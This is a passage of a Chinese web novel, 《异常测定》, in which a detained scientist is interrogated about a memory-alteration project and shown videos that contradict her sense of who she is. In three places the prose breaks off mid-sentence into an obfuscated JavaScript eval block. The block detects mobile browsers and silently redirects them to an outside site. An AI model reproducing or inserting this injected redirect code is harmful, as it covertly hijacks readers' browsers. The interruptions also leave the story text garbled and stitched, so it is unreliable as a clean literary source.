《异常测定》
3. 规则
一个不怎么恰当的玩笑,却让房间里沉凝的空气有了能够呼吸的流动。
方清昼那正襟危坐的防备姿态略微松散下来,朝后虚虚靠了过去,垂放在腿上的手也小幅动作了下,在裤子上小心蹭去掌心的冷汗。
季和敏锐地捕捉到她的小动作,不着痕迹地收回视线,跟着悠然自得地架起一条腿,
像是个求知欲旺盛的学生,兴致盎然地道:“我还有一个问题,为什么这个项目要叫【异常测定】?什么是异常?怎么测定?谁来测定?”
方清昼委婉地拒绝:“说起来很麻烦。”
“没关系,我不怕麻烦。”季和伸手去端自己的咖啡,颇为厚颜无耻地纠缠,“反正你也出不去,我正好帮你打发一下时间。”
她端起杯子才想起来咖啡空了,刚才的护士也忘记她的嘱托没给她续杯,只能悻悻放下,当即跟少了半条命似的,唉声叹气地瘫软下去。
她的腿修长笔直,散漫地伸展在桌子下面,快要碰到方清昼的脚。
方清昼经常觉得她不像个公务人员。
方清昼歪过头,活动了下脖颈,组织着语言挑了个开头:“既然你是个警察,应该见过不少因无法承受痛苦而误入歧途的人。人类本身就是脆弱的,相比起被不堪的过去拖累而自我消亡,乃至是跟他人同归于尽,舍弃过去以摆脱无尽的精神摧残,不是种更好的选择吗?”
季和坚毅有力地说:“那只是极少数,一般人会受到道德和法律的约束。”
方清昼声调平直,吐息平稳,仿似在背诵一段早就倒背如流的课文:“痛苦是会激化的,让人变得极端。就算他们当时选择了忍受,可是与他人不同的悲惨经历,以及对方没有获得跟自己痛苦等同的惩处结果,会让他们在不断的折磨中产生低人一等的悲愤跟怨恨。今后面对任何矛盾争端的时候,杀人的底线会比正常人低很多。”
青年按捺不住地抬起手,反驳的欲望蠕蠕而动:“诶……”
方清昼眼尾朝他飞速掠了一下,没给他说话的机会,续道:“当然这些听起来更像是推脱的借口,毕竟它本质是站在苛责受害者的角度上来说。但是,社会道德上认为的危险,与法律秩序上认为的危险,确实是不一样的。”
青年讪讪把手放下,捏着下巴满脸深思。
方清昼说得喉咙发干,吞咽了一口唾沫,轻描淡写地道:“拟态的动物可以在不同的环境里改变自身的形态,但它不会因为自己所处在雨林或者沙漠,就真的变成一片叶子,或者一抔沙。就像异常的人无法长久地伪装在正常的社会规则之下。
“无论情理如何偏向,对错如何区分,这都是难以避免的现实。他们希望可以恢复正常,所以我们提供了方法。”
季和表情微妙:“所以你的初衷是赐予他们解脱和救赎?”
方清昼偏了下头,没有先前那么笃定,但还是说:“就像社会需要心理医生来治疗拥有精神疾病的患者,只不过如今有了更有效的手段。矛盾的是伦理,可是对于奢求解脱又无能为力的人而言,我并不认为我的初衷有错。”
季和不带笑意的时候,眼神中会浮现出幽微的杀气,犹如肉食动物在端量一个猎物,心里分明在一刀刀地解构对方的每一个伪装,表面仍旧看起来和善平易,说:“这不就是你刚才还在唾弃的救世主吗?”
方清昼小心为自己申辩了一句:“我没有掌控他人人生的本意。我推崇秩序的魅力,维护规则的运行。”
季和穷追猛打:“孙青青甚至没有自主决定的能力。她连社会和家人是什么都不知道。你的规则促使你同情她,掌控她的人生,给她定义什么叫正常。但这并不是她的期望。你替孙青青做了一次决定,今后是不是会因为同情,又自以为是地替别人做决定?”
方清昼的情绪很空白,对她的质疑毫无触动,坦然自若地反问道:“那怎么做才是真正正确的?如果她从三夭大楼的顶层纵身跳下去,符合规则吗?如果她继续腐朽的人生,只能跟条狗一样被关在狭小的房间里,符合规则吗?让人能成为一个人,为什么不符合规则?”
“我听到了你的傲慢。”季和冷冰冰地道,“规则是理智的,但情感是不理智的。以规则为标准,又不断因为情理而摇摆,只会导致欲望朝着另一个方向扭曲膨胀。从你动摇的那一刻起,就证明你无法坚定地执行自己的标准。既然如此,你凭什么有资格做一个裁决者?”
方清昼只能遗憾地表示:“看来我们观点不同。不过这很正常。我们允许任何声音。科学的前景不应该受限。”
季和定定注视着她,长达十几秒的时间,微阖的眼神里藏着难以辨识的情绪,仿佛在看一个离自己十分遥远的人。
“我想不到,真是想不到啊……”她的语气也是轻飘飘的,“在你眼里,方清昼……你自己是个这样的人。”
她的许多发言都让人无法理解,带着故弄玄虚的神秘,逼问不止的同时,又对自己的疑惑三缄其口、避而不谈,让方清昼对她有种本能的抵触,潜意识中认为这个人对自己不怀好意。
她热衷于将问题像雪球一样滚大,然后觑机轰然砸到自己的身上。
方清昼在心里历数对她的不满,季和忽然说了句“算了”,朝边上的青年伸出手。
青年尤在板着脸展示自己的威严跟冷酷,看着面前的手掌愣了愣,颤颤巍巍地将自己的手伸过去,眼中还带有一丝卑微与惊喜。
季和冷眼瞥去,脸上写着好自为之。
青年心中警铃大作,赶紧将手收了回来,求生欲让他的智商在短期内得到了极大提升,他茅塞顿开,在夹克衫的口袋一摸,毕恭毕敬地将一部手机递过去。
“感谢你今天的解惑。”季和晃了晃手机,很有诚意地说,“因为你今天愿意配合,我可以把它暂时还给你。”
方清昼再次感到意外,狐疑地从对方手中接过手机。
她以为对方会选个更好的时机,顺势查看里面的信息,可季和只是坐在原地,善解人意地做了个“请便”的手势。
方清昼狐疑地解锁屏幕,看着右上方仅剩33%的电量与无信号的提示,说:“还有充电器。”
“那是另外一个奖励了,看你以后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242347|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的表现。”季和耸肩,无辜道,“正常情况下,他们是根本不会同意给病人提供手机或者充电器的,考虑到你身份的特殊性,我已经很宽容了。”
方清昼:“我没病。”
季和嗤笑:“我以为你不会说这样的废话。”
方清昼没怎么犹豫,把手机推回去,商量说:“我把锁屏密码告诉你们,你们帮我联系一个人。”
季和同样接受得非常迅速,仿佛早有预料:“你很识趣。我就喜欢跟你这样的人打交道。”
季和问:“锁屏密码是多少?”
方清昼很久没用密码解锁了,顿了顿才说:“620378。”
紧跟着问了一句:“我什么时候能出去?”
季和手指滑动,输入数字,漫不经心地道:“等你想起你该想起的事情。我说了,你应该思考,思考是证明自身存在真实性最有用的方法。”
“你们到底要我思考什么?!”方清昼压了压胸口的邪火,好声好气地问,“你们说我杀了人,跟异常测定这个项目有关系吗?”
季和专注对着手机研究,惜字如金地说:“死者就是当年绑架孙青青的犯人。”
方清昼:“他跟我之间的联系,未免太牵强了吧?我并没有杀他的动机。”
季和从手机上露出一双眼睛,似笑非笑地道:“我们只相信证据,证据表明你就在现场。”
方清昼:“所以呢?你们把我关在这里,就算问一百遍也不会有结果的。我想不起来。”
季和斩钉截铁地道:“我们会让你想起来的。你必须想起来。”
下一秒,她又放软了语气,问:“你刚刚说密码是什么?我忘了,有什么特殊的含义吗?这个数字不好记啊。”
方清昼冷淡地道:“没什么特殊的。”
季和放下手机,再转过脸的时候,眼神变得凌厉。
她起身前倾,抄过桌上工牌,粗鲁地抵到方清昼的跟前,用食指按住底部很小的一行数字,温热的吐息伴随着讥诮的声音与她近在咫尺,几乎是贴着她的脸:“方清昼十四岁上大学,二十岁就以个人身份拿到了三夭青年综合大奖赛的金奖,三夭为她组建了最顶级的团队。别说是一串刚出现过几次的数字,就算是问她一年前的早餐吃过几个鸡蛋,她都记得一清二楚。”
方清昼对着那串数字,倏地怔住,不自觉地眨了下眼睛。
季和放下工牌,捏住她的下巴,将她的脸转向左边,对着餐盘道:“你不记得自己很挑食吗?方清昼是不会吃葱、姜、蒜等绝大多数味道强烈的调味品的。不吃辣,不吃胡萝卜,不吃西蓝花。刚刚给你提供的晚饭,几乎都有你不会吃的东西,你忘记了吗?”
方清昼目光无法聚焦,头部突起的剧痛牵动着她的颈部肌肉迫使她低下头,她深深抽了口气,条件反射地将季和的手用力拍开。
季和没有给她思考的机会,气势凌人地追击道:“你甚至不记得你的立场,不记得【异常测定】这个项目最早不是由你提起的,而是你的老师。不记得你明明是其中最反对的一个,现在却为它摇旗呐喊。”
4. 矛盾
方清昼俯下身,快要坐不住,手掌按在桌上,浑身都在狼狈地战栗。
“方清昼,你该不会到现在还天真地认为,自己只是缺失了几天的记忆吧?”季和缓缓站直身,居高临下地俯视着她,一字一句地道,“你真的,还记得自己是谁吗?”
方清昼按住头,凌乱而粗重地喘息,耳边不断重复着她的声音,脑子里也如同有一万道声音在同时发出质疑。
她从喉咙里艰难挤出几个字:“你在骗我——你在动摇我!”
这个猜测让她的疼痛有所减缓,她缓过劲,支撑着抬起头,咬牙切齿地道:“你在扭曲我的认知。”
季和一脸写着“执迷不悟”的表情,用脚勾住身后的椅子,甩到方清昼的身旁,长腿一迈与她并肩坐到一起。当着她的面拿起平板,翻出一个视频,点击播放。
这是个不怎么正式的讲座记录视频。
相关受邀者有十来人,随意地坐成两排,由最中间的中年男人为主导,向下方的学生作有关于记忆删改的简单介绍。
方清昼一眼看见了坐在人群后排的身影。
米黄色的衬衫勾勒出她薄瘦的肩颈,下摆随意收进裤腰里,展现出优越的身材比例,一脸淡漠的表情,坐在浅黄的灯光外,像是个置身事外的旁观者。
方清昼隔着屏幕看自己,竟有种在看不认识的人的错觉。
季和直接把视频拉到后半段,跳到学生交流提问的环节。
中年男人指了指,一个剃着平头的青年豁然起身,字正腔圆地发声道:“我想请问梁老师,不同的记忆会导致不同的思维方式吗?不同的思维方式,会改变一个人的性格吗?决定一个人人格的,究竟是记忆还是本能?一个拥有虚假记忆的人格还是原来的人格吗?如果一个人真的会因为记忆的改变而同时出现行为跟性格上的改变,又应该算是什么?这难道不是对伦理的践踏吗?从某种意义上讲,我甚至觉得它跟杀人没有什么区别。它杀死了过去的‘我’。”
方清昼听到那一字不差的用词,感觉喉咙被重重攥紧,屏住了呼吸。下意识准备站起来,又被季和按了回去。
中年男人一直和颜悦色地听他发言,在他说完后,又等了一两秒才点点头,嗓音有些含混不清,语气松快地说:“按照你的逻辑,心理医生治疗多重人格,也是在杀人。人类只能接受自己的痛苦,不允许外部的帮助。精神类的疾病,都不应该接受治疗,因为无论是药物、催眠,亦或者是简单的教化引导,都会影响人的思维跟意识。”
青年激动地道:“所以您就掌控他们的思维,玩弄他们的大脑?很多极端的罪犯都以为自己是正义的救世主。可是我认为,人类根本没有书写他人命运的权力。您更无法保证它会始终以理想的方式存在跟发展。它会崩坏整个社会的稳定!”
“我们肯定会尊重他人的意愿。”梁老师慈和地说,“同学,当那个痛苦得想死的人是你自己的时候,我想,你是不会在意所谓的伦理问题的。就像等着器官移植的人,只要能让他们可以手术,他们不会在意器官的来源是好人还是坏人,或者干脆来自另外一个物种。他们只是想活。”
现场到处是压低的议论声。
梁老师笑了笑,问:“还有问题吗?”
青年屡次受挫,想要继续反驳,又碍于对方是师长的身份,不敢严词斥责。目光转了一圈,见方清昼低着头,双目放空,低调地坐在后排,对于众人的争论有些漠不关心的厌烦,认为她或许是最好突破的一个,于是重整旗鼓,气势汹汹地质问:“我想请问后面那位……方学姐,是吗?请问方学姐,你也认同你导师的观点吗?”
现场目光一瞬聚集过去。
方清昼从游离的状态中回神,似有若无地叹了口气,坐正一些,接过从前面递来的话筒,对着青年温和而平静地回答:“我不这么认为。”
“所以你——额……嗯……”青年满腔的战意一下子没了喷发的方向,嘴巴张了张,才找回自己的节奏,“为什么?”
方清昼用理所当然的语气道:“不符合人民朴素的价值观和是非观。”
青年:“……”
他被骤然亮起的道德光芒给照懵了,无法想象这么朴素的回答是自己在这儿应该听见的。直愣愣地杵在原地,坐也不是,赞同也不是,怀疑是对方挖的一个语言陷阱。
方清昼补充道:“其实我并不是这个研究团队的成员。我只是受邀来旁听我导师的讲座,意外被拉到了台上。”
梁老师回头看了她一眼,又转回来说:“我们允许任何的声音。科学的发展不应该受限。”
方清昼本来打算递还话筒,闻言收回了手,接着说:“科学的发展是受限的,老师,因为人类不是机器,有基本的道德观念。人类的社会也不是野生丛林,有法律,有秩序。”
梁老师:“我们当然遵守底线。但秩序不是为了判断对错而存在的。”
方清昼边上的女生轻轻推了推她的手肘,示意她把话筒给自己。方清昼仿若不见:“是为了维持稳定。所以个人的意志更不能代表对错,那样只会带来绝对的混乱。谁能有权决定,什么的人属于异常,该被清除或者接受治疗?我认为就算是本人也不能轻易做出这个判断,因为人的思想本身是不断变化的。”
梁老师转过身,与她平直对视:“我也是为了促进稳定。拟态的动物可以在不同的环境里改变自身的形态,但它不会因为自己所处在雨林或者沙漠,就真的变成一片叶子,或者一抔沙。就像异常的人无法长久地伪装在正常的社会规则之下。
“无论情理如何偏向,对错如何区分,这都是难以避免的现实。他们希望可以恢复正常,所以我们提供了方法。”
屏幕内的方清昼面色平静。
屏幕外的方清昼神色狰狞。
季和的左臂从后方箍住她的肩膀,制止住她想要逃离的冲动。
空气里飘荡的每一个字都形同尖利的针刺,生生从耳膜凿进方清昼的脑子。要将她剖开、搅乱、毁灭。
屏幕中的人还在沉缓地叙述:“可是老师,正常两个字,不才是最伤人的东西吗?把无法适应的人一刀刀削得面目全非,塞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242348|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到一个既定的框架,让他们跟周围变得一样,去社交,去工作,去微笑,去生活,这样就叫正常吗?”
梁老师触动中颤声道:“如果可以选,你认为,他们是愿意做一个平凡而没有知觉的普通人,还是去做一个彻底堕落的杀人犯?!”
方清昼放低了声音,隐晦而残忍地道:“我也曾经问过他,老师,他不同意。他宁愿接受痛苦而真实的生活,即便在您眼里,他的一生充斥着失败跟可悲。”
梁老师松垮的眼皮随他情绪轻微抽搐,犹如被刀锋刺入血肉深处,流露出无法掩饰的痛苦,半晌才喃喃道:“情感本来就是不理智的,清昼。”
台上众人噤若寒蝉,场下不明真相的学生也受到气氛感染,纷纷停下私语。
全场陷入一片死寂。
方清昼隔了一会儿,用并不怎么具有攻击性,但十分坚定的语气道:“是的,规则是理智的,情感是不理智的。以规则为标准,又不断因为情理而摇摆,只会导致欲望朝着另一个方向扭曲膨胀。这个世界上多的是傲慢的败犬,和祈求弱者跪地仰视的小可怜。”
梁先生嗓音粗哑,急促的语速中带着暂时难以平复的波动:“科技的每一次发展,都是对常规的突破。不断的事实证明,许多无法接受的观念,不过是愚昧的思想!”
“或许我是一个古板的人。我不知道伦理的界线停在哪里,是对人类有利的进步,超过哪里,是对人类存在本身的亵渎,所以我不想做裁决者。”方清昼说,“也许过个十几年,或者几十年,整个社会已经可以接受对大脑信息的删除和修改,并且有了健全的规则、完善的技术、融洽的氛围,那么我也会支持。可是在当下,我并不认为它是一个适合这个时代的产物……”
方清昼一手拍上平板,颤抖着按下停止,然后坚持不住,在疼痛中滑下椅子,跪倒在地。
季和眼睁睁看着她在地上挣扎呻^吟,没有上前拉一把,只是冷漠地道:“方清昼,之前我问你,你是不是真的记得自己的身份,当时你的心率跳到了142。后来在我嘲讽你项目内容的时候,你的心率始终平稳在70左右。那些话熟悉吗?你就像一台设置好了的问答程序,照本宣科一样没有感情地背诵。你的逻辑里存在那么多的漏洞,你的身体都已经给出了最直接的反馈,你一点也没有察觉吗?那你真的是完了。”
方清昼脸上满是汗泪,蜷缩成一团,嘴里混乱地呓语:“不对……错误——不可能——”
青年被她的表现吓到了,屁股着火似地蹦起来,冲到门边呼喊:“医生!医生快来!”
很快几名医护人员冲了进来。
方清昼此刻无比害怕别人审视的目光,挣扎着将脸埋在手臂里,大吼着道:“滚——滚开!”
周遭的嘈杂声混在一块儿,堪比爆炸时产生的轰鸣,可还是让她听见了两人在说:
“她不会真的崩溃发疯吧?”
“那应该去问三夭。我已经耗了那么多人力陪她在这里玩过家家,还想怎么样?”
方清昼眼皮沉重下阖,意识再一次模糊。
5.探视
方清昼再次醒来的时候,已经是深夜,不知道具体的时间。
黑暗粘稠地糊满整个房间,只有深浅不一的模糊虚影可以辨识物品的存在。
这次没有给她绑束缚带,方清昼带着疼痛残留的惊悸往边上翻身,直接摔到了地上。
撞击和抽气的声音,在寂静的环境中显得尤为沉闷。
方清昼许久没有动作,就那么静静躺着。
地板紧贴着她的皮肤,给她带来深入骨髓的寒意。
等缓过劲,她手脚并用地爬起来,踉跄着走到门边,试着推了下大门,果不其然是被反锁的。
她靠在墙上,胡乱摸索了一圈,没找到灯的开关,索性放弃,一路摸索着去往厕所。
厕所的窗户仅是一个狭小的方块,好在附近正巧有盏路灯,将光线送了进来,让她能够看清里面的布局。
方清昼单手撑着洗手台,却发现没有通水。
连日积累的焦虑、不安、恐惧,在这小小的导火索下瞬间爆发,她勃然大怒,气急败坏地冲到大门,用拳头锤击着门板,咆哮道:“开门!厕所的水呢!给我开门!”
方清昼不知疲倦地拍打,很快吵醒了临近病房的病人。外面叫骂声一片,方清昼置若罔闻。
她的嗓音从尖利变到沙哑,手掌侧面的皮肤渗出星星点点的血渍。
在她准备寻找新的方法来发疯的时候,门从外面被敲响。
是个女性工作人员。
“怎么了?”
方清昼说:“我要洗澡。”
外面的人说:“我们这里统一时间安排洗漱洗澡。”
“我不接受!”方清昼暴怒吼道,“我现在就要洗澡,给我放水!马上!”
外面的人考虑了半分来钟,说让她等等。周围病房也逐渐安静下来,
方清昼背靠着门板颓唐滑坐在地上。
歇斯底里地宣泄过后,一股困倦席卷上来。
在方清昼即将阖上眼睛,密码锁传来解锁的电子音。
方清昼感受到来自身后的推力,挪动着朝旁边让开位置。
门外的人递来一个塑料盆,里面装着换洗的衣物,以及一些清洁的物品。不是精神病院统一的病服,是从她行李箱拿的东西。
方清昼仰起头。
走廊的光线同样晦暗,来人戴着个偏大的口罩,将眼睛以下遮得严严实实。包裹着不合身的白大褂,低着头跟她对视。
方清昼的注意力全被她的眼睛吸引。那是一双写着安定、融和的眼睛。从上方俯视的角度,给她一种呼之欲出的熟悉感。
对方将脸盆塞进她的手里,短促地说了句“不要吵”,便把门合上。
我认识这个人——方清昼的脑子里突然冒出个很明确的念头。
这个认知没有由来没有根据,却让方清昼不轻不重半悬着的心稍稍回落了点。
大脑的记忆可以混乱,但是刻进遗传物质的直觉无法轻易更改。
她一定可以找到锚点现实的关键。
只要她思考。
方清昼支着发麻的双腿,跌跌撞撞地走进厕所。穿着衣服,直接站在淋浴头下。
凉水从头顶浇灌,体温的流失刺激得她血管收缩血液减缓,她狠狠抹了几把脸,大口地呼吸,直要将胸腔内所有的废气都倾吐出去。
几次过后,终于彻底镇定下来。
方清昼按住自己的胸口,下方心脏在规律地跳动,她一下一下数着频率,搜刮着大脑中留存中的每一条信息逐次梳理。
直到感知变得麻木,再没有多余的触动。
换完衣服出来,她没有回到床上,而是走向窗户,抓着密焊的栅栏,透过布满灰尘的玻璃,凝视暗得惨淡的夜色。
许久后精疲力竭,佝偻着坐了下去。
·
第二天早上,季和跟她的同事再次来到病房时,看到的就是方清昼这样抱着双腿苟缩在角落,一动不动地坐着。
对方睁着一双布满血丝的眼睛,投来没有温度的目光,彻夜未眠让她脸色惨白得犹如一具毫无生气的死尸,只有唇齿间轻微的呼吸还带着一点鲜活的热意。
方清昼主动开口:“你说得对,我有问题。我的认知在逻辑上出现了较大的错误。”
季和的脸上第一次露出真诚的笑容,让她身上那种精悍锐利的气场都柔和了不少。
她在方清昼面前弯下腰,用堪称温柔的语气问:“所以呢?”
方清昼鼻翼翕动,声音绷得很紧,带着一点决绝的意味:“我想知道所有关于【异常测定】的信息。它的初衷,以及,为什么我明明反对,最后又接手了孙青青的治疗?”
这个项目聚集了绝大多数的认知冲突。那里面应该有可以撬开她记忆的钥匙。
季和伸手去抓她的手臂,方清昼躲了过去,她笑了笑没说什么,跟着人走到桌边。
这次他们带了台电脑,季和打开一个播放软件,把屏幕转了过去,说:“按照顺序播放。放心,今天我们会循序渐进。”
视频拍到了方清昼的半个背影,她对面的是狱警跟一个囚犯。
季和的声音贴在她耳边,给她介绍说:“这个人叫梁鸣,是你老师的儿子,也是昨天那个视频里面你提到过的那个‘他’。这个时候正在因为故意杀人入狱服刑。你记得他吗?”
两人的距离太近,让方清昼总是想起昨天的事情,有点心理阴影。她借着摇头的动作,轻微斜过身体,定睛看着视频。
里面的青年确实有点梁老师的影子,但给人的感觉截然不同。
哪怕他穿着囚服,剃着近乎青茬的短发,依旧有种张扬的气质。他五官英俊,眼睛黑亮,嘴角自然上扬,盯着人看的时候,给人一种十分友善亲切的观感。
两人互相客套地打招呼。
“你好。”
“你好。”
不知道为什么,对面的人莫名其妙地笑了。
方清昼扭头对边上的狱警询问:“我把摄像头摆在这里可以吗?”
狱警与他们隔了段距离,站在角落的位置,点头许可:“可以。”
梁鸣打量着她,说:“你好像很年轻。”
方清昼彬彬有礼地道:“不知道您对‘年轻’的定义是什么,不过我确实很年轻。”
梁鸣这次干脆趴在桌上大笑。
方清昼偏过视线去看狱警的表情,发现他也是抿着唇,一副在辛苦忍耐的模样。不解缘由。
梁鸣完全没有跟人第一次见面该有的生疏,熟稔得像是在面对老友:“我本来还挺纳闷的,虽然这几年他经常让他的学生来探望我,用我做他的案例素材,但还是第一次主动找我沟通,希望我能接受你的采访。我以为来的会是个变态。”
方清昼说得非常官方、正式:“梁老师一直在关心你的情况,只是你不肯见他。”
梁鸣说:“我见到他会恶心。”
他没等气氛凝固,立刻兴奋地说:“你应该是他最喜欢的那一类学生。聪明,早熟,没有怪脾气,不会一见面就用蔑视的态度来拉远跟普通人的距离。嗯……他对别人的要求一向苛刻。我觉得他理想中的小孩会是个怪胎。得是十八岁的外表,八十岁的内核,那样才能符合他对完美的标准。没想到真让他找到了!”
方清昼有点儿回过味儿来了:“你是在骂我吗?”
梁鸣装傻充愣:“我有骂人吗?”
梁鸣已经三十多岁,且其中有接近三分之一的时间都在监护里接受改造,但还是奇异得带着点不成熟。
方清昼看了眼手表上的时间,不想再被带走话题了,赶紧切入正题:“能说一下您杀人的经过吗?”
梁鸣猝不及防:“啊?”
他从没遇到过这么开门见山的人,用手在桌上划了个弧线,提醒她是不是跳过了什么步骤。
方清昼难得有点紧迫,说:“你假装铺垫过吧,我们的时间不多了。”
就梁鸣这个东拉西扯的水平,她怕对方给她把战线拉长成一千零一夜。
“嗯……”梁鸣两手捂着脸揉搓,哀怨地道,“别说这么扫兴的话嘛。”
他挠了挠眉毛,苦口婆心地道:“他还在搞那个破研究啊?你干什么想不开,要跟着他搞这个?赶紧跑吧。”
他大概本着能劝一个是一个的宗旨,说得非常诚恳。
方清昼:“研究没有什么破不破的……”
梁鸣不遗余力地进行诋毁,满脸写着嫌弃:“没什么成效的感觉啊,反正就是洗脑那一套吧。我早说他不该搞什么神经科学,应该去信个教,说不定还比现在成功。”
这人说话实在是太诛心了,好在梁老师本人不在现场。方清昼忍不住为他发声:“你这评价太不讲科学了吧……好歹你也读过研。”
“他们做实验前也没少拜啊。”对方不信任地问,“你没拜吗?”
方清昼一下子闭嘴了。
方清昼的采访几乎无法进行,每次都会被岔开话题,演变成闲聊。她再次回头看了眼摄像头,有点无奈。
好在梁鸣无意为难,见她确实没什么闲聊的心情,开始百无聊赖地叙述起自己的过往。
“我研究生毕业那年,有个同学举报我论文抄袭。学校还在审查阶段,他就把消息添油加醋地传出去,到处说我坏话。不过我没怎么在意,马上就要毕业了,我不想闹出事。几天后,我在小吃街遇到那晦气东西了,他不停大声嚷嚷,说我又杀人又抄袭的。”
方清昼:“所以你杀了他?”
梁鸣的手指上有湿疹,有的地方快要痊愈了,留下一片白色的死皮,他抚摸着粗糙的皮肤,满不在乎的模样仿佛在说另外一个人的故事:“不,怎么可能?我只是被他骂得忍不住推了他一下,顶多破个皮,还是他自己磕的。不过他本来就是故意的,用这借口再次举报到学校,说是我主动挑衅并动手,应该严加惩罚。打架斗殴加上论文抄袭的嫌疑,给学校造成了极其负面的影响,传到了那个人那里——”
他支吾了声,用夸张的语气嘲讽地喊道:“——我亲爱的父亲!他听说后大动肝火,特意飞了一个半小时的飞机,来找那个晦气东西道歉,想要花钱息事宁人。结果对面顺势曝光了他们两个交谈的录音,剪辑修改后,当成我抄袭以及主动打人的证据,公布了出去。”
方清昼:“所以你杀了他?”
“不,不至于。同学你能不能换一句话?”梁鸣接着道,“我妹妹听说这件事情后坐立不安,跟着跑到学校想要开解我。结果那个人渣借口要跟她谈谈我的事,说因为‘无意’、‘玩笑’、‘想出个气而已’,把她骗到了无人的郊区,抢走她的鞋子和外套,扔在路边跑了。第二天早上,有路人在城外的河里发现了她的尸体。附近没有监控,现场调查进展困难,一直找不到凶手。”
方清昼没再问那个问题了。
梁鸣说:“她当时跟你差不多大。”
他前面一直说得风轻云淡,好似事不关己。直到这一句,眼神往方清昼这边瞟了一眼,忽然喉头哽咽了。
他飞速用手背抹了下眼睛,抬起头又是满脸无所谓的笑容,自嘲地道:“他说是因为我,因为我是个败类,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258320|181909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才会一而再再而三地连累家人。后来我杀了人,他又觉得后悔了。”
方清昼干巴巴地道:“人总是会说一些很伤人的话,但不是真心的。”
梁鸣:“你真不会安慰人。”
方清昼惭愧承认:“好吧。”
梁鸣还没从受访者的身份转换过来,跟她大眼瞪小眼。
忍受了会儿可疑的静默,确定对面这个人闷不出别的声来,梁鸣又主动发问:“他给你交代了什么任务?”
方清昼不知道自己身上还背负着任务,迟疑地说:“传声筒。”
梁鸣:“他让你带什么话?”
“单向传声筒,”方清昼在指正下修改用词,“你现在对他说话,我可以精准帮你传达。”
梁鸣“嘁”了声。
“算了算了,”方清昼当场反悔,好意劝和,“这种语气词的示威没有必要,我模仿不到位的。”
梁鸣:“……”
他有点哭笑不得。
方清昼觉得虽然没什么必要,可还是澄清了一下:“梁老师其实是我的本科毕业论文指导老师。我跟他理念不同、方向不同,所以我后续没有继续跟着他学习。但是他一直有在邀请我加入他的项目。我婉拒说不感兴趣,于是他让我来见你,认为我可能会因此改变想法。”
梁鸣疑惑道:“那你们关系不深啊。我都不记得我本科的论文指导是谁了,好像就毕业的时候见过几次面,我都没选过他的课。”
方清昼点了点头:“嗯,我上大学的时候比较年轻,他给了许多帮助。而且他跟我读研时候的老板关系不错,大家经常会一起交流。”
梁鸣眸光低敛,看起来有点落寞。
方清昼见他装作不经意的样子,其实还是想要知道一些父亲的情况,于是仔细回忆了一下,补充进很多细节。
“我选修过他的课,刚开始我们只是偶尔说几句话,他看我总是一个人吃饭行动,关心我能不能适应大学,是不是交不到朋友,我说我喜欢一个人。后来有一次,国庆假期我去请假,他随口问我是要早点回家吗?我说不是,我不跟父母一起住。他问为什么,我说他们都再婚了。”
梁鸣神色动了动:“他当时怎么说?”
方清昼事无巨细地描述出来:“他变得相当窘迫,摸了摸口袋,什么都没说。跟在我后面走出教学楼,上前问我要不要一起吃饭。后来加了我的好友,上课的时候会给我带他妻子做的盒饭。再后来我没有上他的课了,他就邀请我去他家里吃饭。”
梁鸣“呲”了一声,回头招呼狱警,寻求官方的认同:“这太诡异吧?这正常吗?听得我想报警。你为什么要跟他去?”
方清昼尽量委婉地说:“你的母亲很寂寞。”
梁鸣笑容登时发僵,有种难以形容的悲凉。
这次调整了好半晌,才说:“看来我坐牢之后,他的同情心开始泛滥了。”
方清昼捕捉到关键字:“他以前对你没有同情心吗?”
梁鸣慢吞吞地道:“可能在他眼里,我有前科吧。”
方清昼:“哦?”
她对好奇的表达刻意到拙劣,以致于看起来相当讨打。
梁鸣说:“初三的时候,我们班有人跳楼,当时我成绩差,喜欢逃课,爱打游戏,整天跟他吵架,他看不上我。学校监控里拍到我跟那个学生有接触,我们经常一起去小超市。加上有人实名举报说我是搞霸凌,他就信了。还是一样,风风火火地来,不听我说话,赔了受害人两百万,直接给我办了转学。从那时候开始,我已经是个杀人犯了。在那之后,我跟他见面的次数屈指可数。如果我妹妹没死,恐怕他更希望没有我这个儿子。”
“那真是……”方清昼不知道说什么好了。
她印象中的良师,与梁鸣口中那个蛮横霸道的形象,实在是有太大出入了。
梁鸣问:“他是个好老师吗?”
方清昼不明白他的用意,感觉说什么都可能再伤害他,摩挲着指腹,含糊重复一遍:“他给我提供过许多帮助。”
“我知道。来见我的那些人,都认为他是个好老师。”梁鸣仰起头,空洞地望着天花板,喃喃道,“但他不是个好爸爸。”
后方狱警上前提醒时间到了。
方清昼站起身,在他离开时候,鬼使神差地喊了他一声,说:“他现在改变了。”
